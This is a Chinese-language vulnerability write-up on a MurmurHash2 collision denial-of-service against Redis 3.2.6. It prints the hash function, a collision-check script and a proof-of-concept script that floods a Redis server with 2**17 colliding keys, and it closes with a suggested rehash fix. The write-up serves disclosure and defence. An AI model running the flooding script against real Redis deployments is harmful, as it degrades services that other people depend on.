由MurmurHash2 算法碰撞引起的Redis DDos 攻击漏洞

作者：黑池白泽

概要信息：

  1. 在Martin Bosslet 2012年的这篇文章中，作者提到MurmurHash2算法被发现可以稳定构造碰撞函数，该哈希函数及其变形被CRuby, JRuby, Rubinius, Redis等开源组件使用。
  2. 本文是基于Martin Bosslet的发现继续挖掘的结果，在此对Martin Bosslet表示感谢。
  3. 原文中作者的碰撞函数是基于Ruby完成的，这里将发布该碰撞函数的Python版本。
  4. 在Martin Bosslet的文章中对碰撞函数的构造原理未做足够透彻的解释，我将在稍后一段时间将分析构造原理的部分补充。

详细信息：

  1. Redis使用MurmurHash2算法作为数据结构Hashtable的哈希算法。
  2. 当Hashtable出现碰撞后，Redis选择将发生碰撞的项用链表相连，最新的项插在链表首。
  3. Redis将Key和对应的Value以键值对的形式储存在一个Hashtable中。
  4. Redis并未将用户传入的Key进行任何编码就直接使用。
  5. 在2012年MurmurHash2算法被发现可以稳定构造碰撞函数。
  6. 当将大量使用在Murmurhash2算法下产生相互碰撞的字符串作为Key的键值对插入Redis后，在访问这些键值对时Hashtable的行为将退化为链表。

验证：

测试平台： i3-3210，8G Ram, Redis3.2.6，位于虚拟机中（2 cores CPU， 2G Ram）

Redis3.2.6中使用的Murmurhash2函数：

unsigned int mmhash_32(const void *key, int len) {
    /* 'm' and 'r' are mixing constants generated offline.
     They're not really 'magic', they just happen to work well.  */
    const uint32_t m = 0x5bd1e995;
    const int r = 24;

    /* Initialize the hash to a 'random' value */
    uint32_t h = 5381 ^ len;

    /* Mix 4 bytes at a time into the hash */
    const unsigned char *data = (const unsigned char *)key;

    while(len >= 4) {
        uint32_t k = *(uint32_t*)data;

        k *= m;
        k ^= k >> r;
        k *= m;

        h *= m;
        h ^= k;

        data += 4;
        len -= 4;
    }

    /* Handle the last few bytes of the input array  */
    switch(len) {
    case 3: h ^= data[2] << 16;
    case 2: h ^= data[1] << 8;
    case 1: h ^= data[0]; h *= m;
    };

    /* Do a few final mixes of the hash to ensure the last few
     * bytes are well-incorporated. */
    h ^= h >> 13;
    h *= m;
    h ^= h >> 15;

    return (unsigned int)h;
}

poc_collision.py,用于验证碰撞函数（其中mmhash将Redis3.2.6的dictGenHashFunction封装以供Python调用，基于mmhash 魔改而来）：

# -*- coding:utf-8 -*-

import mmhash
from murmurhash2_collision import collision
from binascii import crc32




c_l = list(collision(5))
hashs = (mmhash.get_hash_32(c) for c in c_l)
crc32ed_collisions = (crc32(c) for c in c_l)
print "crc32ed collision" + "\t" + "MurmurHash2ed collision"
for pair in zip(crc32ed_collisions, hashs):
    print "{0}\t{1}".format(*pair)

输出结果： 可见确实发生碰撞。

poc_redis.py，用以对比Redis3.2.6对同等数量恶意与非恶意数据的响应：

# -*- coding:utf-8 -*-

import redis
import os
import time
from murmurhash2_collision import collision
BLOCK = 17


connection = redis.Redis(host="192.168.107.102", password="123456")
func_set = connection.set

connection.flushall()
print "Insert 2**{0} normal key-value pairs.".format(BLOCK)
start = time.time()
first_key = os.urandom(8*BLOCK)
func_set(name=first_key, value="")
for i in xrange(0, 2**BLOCK-1):
    func_set(os.urandom(8*BLOCK), value="")
end = time.time()
print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)
print "Now get the first inserted key."
start = time.time()
connection.get(first_key)
end = time.time()
print "It takes {0} seconds.".format(end - start)

print "*"*32

print "Now flush all the data."
connection.flushall()
print "Now insert 2**{0} key-value pairs with collisional strings as keys.".format(BLOCK)
c = list(collision(BLOCK))
first_key = c[0]
func_set(name=first_key, value="")
start = time.time()
for ck in c:
    func_set(name=ck, value="")
end = time.time()
print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)
print "Now get the first inserted key."
start = time.time()
connection.get(first_key)
end = time.time()
print "It takes {0} seconds.".format(end - start)

插入普通随机数据时Redis服务器负载与插入恶意数据时服务器负载对比：

输出结果： 可见在输入大量恶意数据后Redis的响应速度有了明显下降（已排除生成碰撞字符串的时间）。

修复方法：

Redis hashtable目前处理碰撞的方法是直接将发生碰撞的项用链表相连。建议碰撞发生时使用另一个不同的哈希函数进行rehash（比如time33），若与现有项再次发生碰撞，再使用链表将项相连。在我的认知范围内（也许不完全正确），针对两个不同的哈希算法稳定构造碰撞是困难的。

未完成工作

  1. 未测试在更高并发下Redis的响应。
  2. 对碰撞函数的构造原理进行深入分析。
  3. 研究其他使用MurmurHash2算法的软件是否存在同样的漏洞。

反思与疑问

  1. 现在我还无法准确判断判断该漏洞的威胁程度，一方面是受限于手上没有资源验证Redis在更高并发下的响应，另一方面该漏洞的触发必须满足客户端的输入要作为Key并且原封不动地插入Redis。
  2. 这个漏洞的发现源于我阅读源代码是对MurmurHash2算法的搜索，在维基百科的参考链接中提到了Martin Bosslet的文章，同时文章明确指出Redis在使用该算法。是什么原因使这个（潜在的）DDos漏洞存在这么多年？

源链接

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